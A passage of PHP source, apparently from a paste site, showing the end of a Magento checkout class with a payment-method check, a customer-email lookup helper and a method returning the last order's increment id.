  920. if (!($this->getQuote()->getPayment()->getMethod())) {
  921. Mage::throwException(Mage::helper('checkout')->__('Please select valid payment method.'));
  922. }
  923. }
  924.  
  925. /**
  926. * Check if customer email exists
  927. *
  928. * @param string $email
  929. * @param int $websiteId
  930. * @return false|Mage_Customer_Model_Customer
  931. */
  932. protected function _customerEmailExists($email, $websiteId = null)
  933. {
  934. $customer = Mage::getModel('customer/customer');
  935. if ($websiteId) {
  936. $customer->setWebsiteId($websiteId);
  937. }
  938. $customer->loadByEmail($email);
  939. if ($customer->getId()) {
  940. return $customer;
  941. }
  942. return false;
  943. }
  944.  
  945. /**
  946. * Get last order increment id by order id
  947. *
  948. * @return string
  949. */
  950. public function getLastOrderId()
  951. {
  952. $lastId = $this->getCheckout()->getLastOrderId();
  953. $orderId = false;
  954. if ($lastId) {
  955. $order = Mage::getModel('sales/order');
  956. $order->load($lastId);
  957. $orderId = $order->getIncrementId();
  958. }
  959. return $orderId;
  960. }
  961. }
Advertisement
Add Comment
Please, Sign In to add comment